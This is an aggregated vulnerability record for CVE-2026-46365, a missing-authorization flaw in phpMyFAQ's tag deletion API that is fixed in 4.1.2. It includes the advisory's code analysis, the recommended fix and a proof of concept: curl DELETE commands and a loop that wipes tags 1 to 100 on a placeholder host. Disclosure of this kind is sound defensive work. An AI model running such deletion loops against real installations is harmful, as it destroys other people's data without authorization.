{"id":"CVE-2026-46365","aliases":["EUVD-2026-30600","GHSA-5h62-f8fg-4w7q","GHSA-7cx3-2qx2-3g6w"],"status":"published","title":"phpMyFAQ - Missing Authorization in Tag Deletion Endpoint","description":"phpMyFAQ before 4.1.2 contains a missing authorization vulnerability in the DELETE /admin/api/content/tags/{tagId} endpoint that allows any authenticated user to delete tags. Any logged-in user, including regular frontend users, can delete arbitrary tags by sending a DELETE request with a valid session cookie, resulting in permanent data loss and disruption of FAQ organization.","severity":{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00218,"percentile":0.1235,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-862"],"published":"2026-05-06T20:12:07Z","modified":"2026-11-08T14:03:56Z","fixes":[{"ecosystem":"Packagist","package":"phpmyfaq/phpmyfaq","fixed_in":["4.1.2"],"sources":["ghsa","osv"]},{"ecosystem":"Packagist","package":"thorsten/phpmyfaq","fixed_in":["4.1.2"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"phpmyfaq/phpmyfaq","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"4.1.1"},{"fixed":"4.1.2"}]}]},{"source":"ghsa","ecosystem":"Packagist","package":"thorsten/phpmyfaq","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"4.1.1"},{"fixed":"4.1.2"}]}]},{"source":"osv","ecosystem":"Packagist","package":"phpmyfaq/phpmyfaq","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.2"}]}],"versions":["2.10.0-alpha","2.8.0","2.8.0-RC","2.8.0-RC2","2.8.0-RC3","2.8.0-RC4","2.8.0-alpha2","2.8.0-alpha3","2.8.0-beta","2.8.0-beta2","2.8.0-beta3","2.8.1","2.8.10","2.8.11","2.8.12","2.8.13","2.8.14","2.8.15","2.8.16","2.8.17","2.8.18","2.8.19","2.8.2","2.8.20","2.8.21","2.8.22","2.8.23","2.8.24","2.8.25","2.8.26","2.8.27","2.8.28","2.8.29","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0","2.9.0-alpha","2.9.0-alpha2","2.9.0-alpha3","2.9.0-alpha4","2.9.0-beta","2.9.0-beta2","2.9.0-rc","2.9.0-rc2","2.9.0-rc3","2.9.0-rc4","2.9.1","2.9.10","2.9.11","2.9.12","2.9.13","2.9.2","2.9.3","2.9.4","2.9.5","2.9.6","2.9.7","2.9.8","2.9.9","3.0.0","3.0.0-RC","3.0.0-RC.2","3.0.0-alpha","3.0.0-alpha.2","3.0.0-alpha.3","3.0.0-alpha.4","3.0.0-beta","3.0.0-beta.2","3.0.0-beta.3","3.0.1","3.0.10","3.0.11","3.0.12","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.0-RC","3.1.0-alpha","3.1.0-alpha.2","3.1.0-alpha.3","3.1.0-beta","3.1.1","3.1.10","3.1.11","3.1.12","3.1.13","3.1.14","3.1.15","3.1.16","3.1.17","3.1.18","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.1.7","3.1.8","3.1.9","3.2.0","3.2.0-RC","3.2.0-RC.2","3.2.0-RC.4","3.2.0-alpha","3.2.0-beta","3.2.0-beta.2","3.2.1","3.2.10","3.2.2","3.2.3","3.2.4","3.2.5","3.2.6","3.2.7","3.2.8","3.2.9","4.0.0","4.0.0-RC","4.0.0-RC.2","4.0.0-RC.3","4.0.0-RC.4","4.0.0-RC.5","4.0.0-alpha","4.0.0-alpha.2","4.0.0-alpha.3","4.0.0-alpha.4","4.0.0-beta","4.0.0-beta.2","4.0.1","4.0.10","4.0.11","4.0.12","4.0.13","4.0.14","4.0.15","4.0.16","4.0.18","4.0.19","4.0.2","4.0.3","4.0.4","4.0.5","4.0.6","4.0.7","4.0.8","4.0.9","4.1.0","4.1.0-RC","4.1.0-RC.2","4.1.0-RC.4","4.1.0-RC.5","4.1.0-RC.6","4.1.0-RC.7","4.1.0-alpha","4.1.0-alpha.2","4.1.0-alpha.3","4.1.0-beta","4.1.0-beta.2","4.1.1"]},{"source":"osv","ecosystem":"Packagist","package":"thorsten/phpmyfaq","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.2"}]}],"versions":["2.10.0-alpha","2.8.0","2.8.0-RC","2.8.0-RC2","2.8.0-RC3","2.8.0-RC4","2.8.0-alpha2","2.8.0-alpha3","2.8.0-beta","2.8.0-beta2","2.8.0-beta3","2.8.1","2.8.10","2.8.11","2.8.12","2.8.13","2.8.14","2.8.15","2.8.16","2.8.17","2.8.18","2.8.19","2.8.2","2.8.20","2.8.21","2.8.22","2.8.23","2.8.24","2.8.25","2.8.26","2.8.27","2.8.28","2.8.29","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0","2.9.0-alpha","2.9.0-alpha2","2.9.0-alpha3","2.9.0-alpha4","2.9.0-beta","2.9.0-beta2","2.9.0-rc","2.9.0-rc2","2.9.0-rc3","2.9.0-rc4","2.9.1","2.9.10","2.9.11","2.9.12","2.9.13","2.9.2","2.9.3","2.9.4","2.9.5","2.9.6","2.9.7","2.9.8","2.9.9","3.0.0","3.0.0-RC","3.0.0-RC.2","3.0.0-alpha","3.0.0-alpha.2","3.0.0-alpha.3","3.0.0-alpha.4","3.0.0-beta","3.0.0-beta.2","3.0.0-beta.3","3.0.1","3.0.10","3.0.11","3.0.12","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.0-RC","3.1.0-alpha","3.1.0-alpha.2","3.1.0-alpha.3","3.1.0-beta","3.1.1","3.1.10","3.1.11","3.1.12","3.1.13","3.1.14","3.1.15","3.1.16","3.1.17","3.1.18","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.1.7","3.1.8","3.1.9","3.2.0","3.2.0-RC","3.2.0-RC.2","3.2.0-RC.4","3.2.0-alpha","3.2.0-beta","3.2.0-beta.2","3.2.1","3.2.10","3.2.2","3.2.3","3.2.4","3.2.5","3.2.6","3.2.7","3.2.8","3.2.9","4.0.0","4.0.0-RC","4.0.0-RC.2","4.0.0-RC.3","4.0.0-RC.4","4.0.0-RC.5","4.0.0-alpha","4.0.0-alpha.2","4.0.0-alpha.3","4.0.0-alpha.4","4.0.0-beta","4.0.0-beta.2","4.0.1","4.0.10","4.0.11","4.0.12","4.0.13","4.0.14","4.0.15","4.0.16","4.0.18","4.0.19","4.0.2","4.0.3","4.0.4","4.0.5","4.0.6","4.0.7","4.0.8","4.0.9","4.1.0","4.1.0-RC","4.1.0-RC.2","4.1.0-RC.4","4.1.0-RC.5","4.1.0-RC.6","4.1.0-RC.7","4.1.0-alpha","4.1.0-alpha.2","4.1.0-alpha.3","4.1.0-beta","4.1.0-beta.2","4.1.1"]}],"products":[{"vendor":"thorsten","product":"phpmyfaq"}],"references":[{"url":"https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-7cx3-2qx2-3g6w","tags":["vendor-advisory","exploit","advisory","web"]},{"url":"https://www.vulncheck.com/advisories/phpmyfaq-missing-authorization-in-tag-deletion-endpoint","tags":["third-party-advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46365","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-5h62-f8fg-4w7q"},{"url":"https://github.com/advisories/GHSA-7cx3-2qx2-3g6w"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/46xxx/CVE-2026-46365.json","tags":["advisory"]},{"url":"https://github.com/thorsten/phpMyFAQ","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-46365","title":"phpMyFAQ - Missing Authorization in Tag Deletion Endpoint","description":"phpMyFAQ before 4.1.2 contains a missing authorization vulnerability in the DELETE /admin/api/content/tags/{tagId} endpoint that allows any authenticated user to delete tags. Any logged-in user, including regular frontend users, can delete arbitrary tags by sending a DELETE request with a valid session cookie, resulting in permanent data loss and disruption of FAQ organization.","status":"published","published":"2026-05-15T18:36:43.742Z","modified":"2026-11-08T14:03:56.989Z","cvss":[{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N","level":"medium","assessor":"cna"},{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L","level":"medium","assessor":"cna"}],"cwes":["CWE-862"],"updated_at":"2026-11-08T15:43:33.322657Z"}],"euvd":[{"id":"EUVD-2026-30600","description":"phpMyFAQ before 4.1.2 contains a missing authorization vulnerability in the DELETE /admin/api/content/tags/{tagId} endpoint that allows any authenticated user to delete tags. Any logged-in user, including regular frontend users, can delete arbitrary tags by sending a DELETE request with a valid session cookie, resulting in permanent data loss and disruption of FAQ organization.","status":"published","published":"2026-05-15T18:36:43Z","modified":"2026-11-08T14:03:56Z","cvss":[{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-08T15:13:08.77824Z"}],"ghsa":[{"id":"GHSA-5h62-f8fg-4w7q","title":"Duplicate Advisory: phpMyFAQ: Missing Authorization on Tag Deletion Allows Any Authenticated User to Delete Tags","description":"### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-7cx3-2qx2-3g6w. This link is maintained to preserve external references.\n\n### Original Description\nphpMyFAQ before 4.1.2 contains a missing authorization vulnerability in the DELETE /admin/api/content/tags/{tagId} endpoint that allows any authenticated user to delete tags. Any logged-in user, including regular frontend users, can delete arbitrary tags by sending a DELETE request with a valid session cookie, resulting in permanent data loss and disruption of FAQ organization.","status":"withdrawn","published":"2026-05-15T21:31:32Z","modified":"2026-06-09T00:05:39Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L","level":"medium"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T14:40:22.540562Z"},{"id":"GHSA-7cx3-2qx2-3g6w","title":"phpMyFAQ's Missing Authorization on Tag Deletion Allows Any Authenticated User to Delete Tags","description":"## Summary\n\nThe `TagController::delete()` endpoint at `DELETE /admin/api/content/tags/{tagId}` only verifies that the user is logged in (`userIsAuthenticated()`), but does not check any permission. Any authenticated user — including regular non-admin frontend users — can delete any tag by ID. This contrasts with `TagController::update()` and `TagController::search()`, which both enforce the `FAQ_EDIT` permission.\n\n## Details\n\nIn `phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/TagController.php`, the `delete()` method (line 121-133) uses only `$this-\u003euserIsAuthenticated()`:\n\n```php\n#[Route(path: 'content/tags/{tagId}', name: 'admin.api.content.tags.id', methods: ['DELETE'])]\npublic function delete(Request $request): JsonResponse\n{\n    $this-\u003euserIsAuthenticated();  // Only checks isLoggedIn() — no permission check\n\n    $tagId = (int) Filter::filterVar($request-\u003eattributes-\u003eget('tagId'), FILTER_VALIDATE_INT);\n\n    if ($this-\u003etags-\u003edelete($tagId)) {\n        return $this-\u003ejson(['success' =\u003e Translation::get(key: 'ad_tag_delete_success')], Response::HTTP_OK);\n    }\n\n    return $this-\u003ejson(['error' =\u003e Translation::get(key: 'ad_tag_delete_error')], Response::HTTP_BAD_REQUEST);\n}\n```\n\nCompare with `update()` (line 48-71) which properly enforces authorization:\n\n```php\npublic function update(Request $request): JsonResponse\n{\n    $this-\u003euserHasPermission(PermissionType::FAQ_EDIT);  // Proper permission check\n    // ... also verifies CSRF token ...\n}\n```\n\nThe `userIsAuthenticated()` method in `AbstractController` (line 258-263) only checks `$this-\u003ecurrentUser-\u003eisLoggedIn()`:\n\n```php\nprotected function userIsAuthenticated(): void\n{\n    if (!$this-\u003ecurrentUser-\u003eisLoggedIn()) {\n        throw new UnauthorizedHttpException(challenge: 'User is not authenticated.');\n    }\n}\n```\n\nThere is no admin-level middleware in the `Kernel` — it registers only RouterListener, LanguageListener, ControllerContainerListener, and exception listeners. The admin API entry point (`admin/api/index.php`) shares the same bootstrap and session as the frontend, meaning a frontend user's session cookie is valid for admin API requests.\n\nAdditionally, this endpoint lacks CSRF token verification (unlike `update()`), though the primary issue is the missing authorization since the attack vector is a logged-in user acting directly.\n\n## PoC\n\n```bash\n# Step 1: Register as a regular user on the phpMyFAQ frontend\n# (or use any existing non-admin authenticated session)\n\n# Step 2: As the authenticated non-admin user, delete tag with ID 1:\ncurl -X DELETE 'https://target.com/admin/api/content/tags/1' \\\n  -H 'Cookie: PHPSESSID=\u003cregular_user_session\u003e'\n\n# Expected: 401 or 403 (user lacks FAQ_EDIT permission)\n# Actual: 200 OK with {\"success\": \"...\"}\n\n# Step 3: Enumerate and delete all tags:\nfor i in $(seq 1 100); do\n  curl -s -X DELETE \"https://target.com/admin/api/content/tags/$i\" \\\n    -H 'Cookie: PHPSESSID=\u003cregular_user_session\u003e'\ndone\n```\n\n## Impact\n\nAny authenticated user (including regular frontend users who registered through the public registration form) can delete all tags in the phpMyFAQ instance. This results in:\n\n- **Data integrity loss:** Tags are permanently deleted from the database. All FAQ-to-tag associations are destroyed.\n- **Disruption of FAQ organization:** Tag-based navigation, filtering, and tag clouds become empty or broken.\n- **No recoverability without backup:** Deleted tags and their associations cannot be restored without a database backup.\n\nThe impact is limited to tags (not FAQ content itself), but in large installations with extensive tag taxonomies, this could significantly degrade usability.\n\n## Recommended Fix\n\nAdd the `FAQ_EDIT` permission check and CSRF token verification to `TagController::delete()`, consistent with `TagController::update()`:\n\n```php\n#[Route(path: 'content/tags/{tagId}', name: 'admin.api.content.tags.id', methods: ['DELETE'])]\npublic function delete(Request $request): JsonResponse\n{\n    $this-\u003euserHasPermission(PermissionType::FAQ_EDIT);\n\n    $tagId = (int) Filter::filterVar($request-\u003eattributes-\u003eget('tagId'), FILTER_VALIDATE_INT);\n\n    if ($this-\u003etags-\u003edelete($tagId)) {\n        return $this-\u003ejson(['success' =\u003e Translation::get(key: 'ad_tag_delete_success')], Response::HTTP_OK);\n    }\n\n    return $this-\u003ejson(['error' =\u003e Translation::get(key: 'ad_tag_delete_error')], Response::HTTP_BAD_REQUEST);\n}\n```\n\nAt minimum, add `$this-\u003euserHasPermission(PermissionType::FAQ_EDIT)` to enforce the same authorization as the update and search endpoints. Consider also adding a dedicated `TAG_DELETE` permission type for more granular access control.","status":"published","published":"2026-05-06T20:12:07Z","modified":"2026-05-06T20:12:09Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L","level":"medium"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T14:40:02.883746Z"}],"nvd":[{"id":"CVE-2026-46365","description":"phpMyFAQ before 4.1.2 contains a missing authorization vulnerability in the DELETE /admin/api/content/tags/{tagId} endpoint that allows any authenticated user to delete tags. Any logged-in user, including regular frontend users, can delete arbitrary tags by sending a DELETE request with a valid session cookie, resulting in permanent data loss and disruption of FAQ organization.","status":"published","published":"2026-05-15T19:17:03.86Z","modified":"2026-10-26T14:10:00.13Z","cvss":[{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"},{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L","level":"medium","assessor":"secondary"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T14:12:19.39893Z"}],"osv":[{"id":"CVE-2026-46365","title":"phpMyFAQ - Missing Authorization in Tag Deletion Endpoint","description":"phpMyFAQ before 4.1.2 contains a missing authorization vulnerability in the DELETE /admin/api/content/tags/{tagId} endpoint that allows any authenticated user to delete tags. Any logged-in user, including regular frontend users, can delete arbitrary tags by sending a DELETE request with a valid session cookie, resulting in permanent data loss and disruption of FAQ organization.","status":"published","published":"2026-05-15T18:36:43.742Z","modified":"2026-11-09T02:30:21.682390086Z","cvss":[{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-862"],"updated_at":"2026-11-09T03:16:48.35602Z"},{"id":"GHSA-5h62-f8fg-4w7q","title":"Duplicate Advisory: phpMyFAQ: Missing Authorization on Tag Deletion Allows Any Authenticated User to Delete Tags","description":"### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-7cx3-2qx2-3g6w. This link is maintained to preserve external references.\n\n### Original Description\nphpMyFAQ before 4.1.2 contains a missing authorization vulnerability in the DELETE /admin/api/content/tags/{tagId} endpoint that allows any authenticated user to delete tags. Any logged-in user, including regular frontend users, can delete arbitrary tags by sending a DELETE request with a valid session cookie, resulting in permanent data loss and disruption of FAQ organization.","status":"withdrawn","published":"2026-05-15T21:31:32Z","modified":"2026-09-10T03:50:45.848867553Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L","level":"medium"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T15:46:38.553953Z"},{"id":"GHSA-7cx3-2qx2-3g6w","title":"phpMyFAQ's Missing Authorization on Tag Deletion Allows Any Authenticated User to Delete Tags","description":"## Summary\n\nThe `TagController::delete()` endpoint at `DELETE /admin/api/content/tags/{tagId}` only verifies that the user is logged in (`userIsAuthenticated()`), but does not check any permission. Any authenticated user — including regular non-admin frontend users — can delete any tag by ID. This contrasts with `TagController::update()` and `TagController::search()`, which both enforce the `FAQ_EDIT` permission.\n\n## Details\n\nIn `phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/TagController.php`, the `delete()` method (line 121-133) uses only `$this-\u003euserIsAuthenticated()`:\n\n```php\n#[Route(path: 'content/tags/{tagId}', name: 'admin.api.content.tags.id', methods: ['DELETE'])]\npublic function delete(Request $request): JsonResponse\n{\n    $this-\u003euserIsAuthenticated();  // Only checks isLoggedIn() — no permission check\n\n    $tagId = (int) Filter::filterVar($request-\u003eattributes-\u003eget('tagId'), FILTER_VALIDATE_INT);\n\n    if ($this-\u003etags-\u003edelete($tagId)) {\n        return $this-\u003ejson(['success' =\u003e Translation::get(key: 'ad_tag_delete_success')], Response::HTTP_OK);\n    }\n\n    return $this-\u003ejson(['error' =\u003e Translation::get(key: 'ad_tag_delete_error')], Response::HTTP_BAD_REQUEST);\n}\n```\n\nCompare with `update()` (line 48-71) which properly enforces authorization:\n\n```php\npublic function update(Request $request): JsonResponse\n{\n    $this-\u003euserHasPermission(PermissionType::FAQ_EDIT);  // Proper permission check\n    // ... also verifies CSRF token ...\n}\n```\n\nThe `userIsAuthenticated()` method in `AbstractController` (line 258-263) only checks `$this-\u003ecurrentUser-\u003eisLoggedIn()`:\n\n```php\nprotected function userIsAuthenticated(): void\n{\n    if (!$this-\u003ecurrentUser-\u003eisLoggedIn()) {\n        throw new UnauthorizedHttpException(challenge: 'User is not authenticated.');\n    }\n}\n```\n\nThere is no admin-level middleware in the `Kernel` — it registers only RouterListener, LanguageListener, ControllerContainerListener, and exception listeners. The admin API entry point (`admin/api/index.php`) shares the same bootstrap and session as the frontend, meaning a frontend user's session cookie is valid for admin API requests.\n\nAdditionally, this endpoint lacks CSRF token verification (unlike `update()`), though the primary issue is the missing authorization since the attack vector is a logged-in user acting directly.\n\n## PoC\n\n```bash\n# Step 1: Register as a regular user on the phpMyFAQ frontend\n# (or use any existing non-admin authenticated session)\n\n# Step 2: As the authenticated non-admin user, delete tag with ID 1:\ncurl -X DELETE 'https://target.com/admin/api/content/tags/1' \\\n  -H 'Cookie: PHPSESSID=\u003cregular_user_session\u003e'\n\n# Expected: 401 or 403 (user lacks FAQ_EDIT permission)\n# Actual: 200 OK with {\"success\": \"...\"}\n\n# Step 3: Enumerate and delete all tags:\nfor i in $(seq 1 100); do\n  curl -s -X DELETE \"https://target.com/admin/api/content/tags/$i\" \\\n    -H 'Cookie: PHPSESSID=\u003cregular_user_session\u003e'\ndone\n```\n\n## Impact\n\nAny authenticated user (including regular frontend users who registered through the public registration form) can delete all tags in the phpMyFAQ instance. This results in:\n\n- **Data integrity loss:** Tags are permanently deleted from the database. All FAQ-to-tag associations are destroyed.\n- **Disruption of FAQ organization:** Tag-based navigation, filtering, and tag clouds become empty or broken.\n- **No recoverability without backup:** Deleted tags and their associations cannot be restored without a database backup.\n\nThe impact is limited to tags (not FAQ content itself), but in large installations with extensive tag taxonomies, this could significantly degrade usability.\n\n## Recommended Fix\n\nAdd the `FAQ_EDIT` permission check and CSRF token verification to `TagController::delete()`, consistent with `TagController::update()`:\n\n```php\n#[Route(path: 'content/tags/{tagId}', name: 'admin.api.content.tags.id', methods: ['DELETE'])]\npublic function delete(Request $request): JsonResponse\n{\n    $this-\u003euserHasPermission(PermissionType::FAQ_EDIT);\n\n    $tagId = (int) Filter::filterVar($request-\u003eattributes-\u003eget('tagId'), FILTER_VALIDATE_INT);\n\n    if ($this-\u003etags-\u003edelete($tagId)) {\n        return $this-\u003ejson(['success' =\u003e Translation::get(key: 'ad_tag_delete_success')], Response::HTTP_OK);\n    }\n\n    return $this-\u003ejson(['error' =\u003e Translation::get(key: 'ad_tag_delete_error')], Response::HTTP_BAD_REQUEST);\n}\n```\n\nAt minimum, add `$this-\u003euserHasPermission(PermissionType::FAQ_EDIT)` to enforce the same authorization as the update and search endpoints. Consider also adding a dedicated `TAG_DELETE` permission type for more granular access control.","status":"published","published":"2026-05-06T20:12:07Z","modified":"2026-07-08T08:26:55.651730533Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L","level":"medium"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T15:46:41.002603Z"}]}}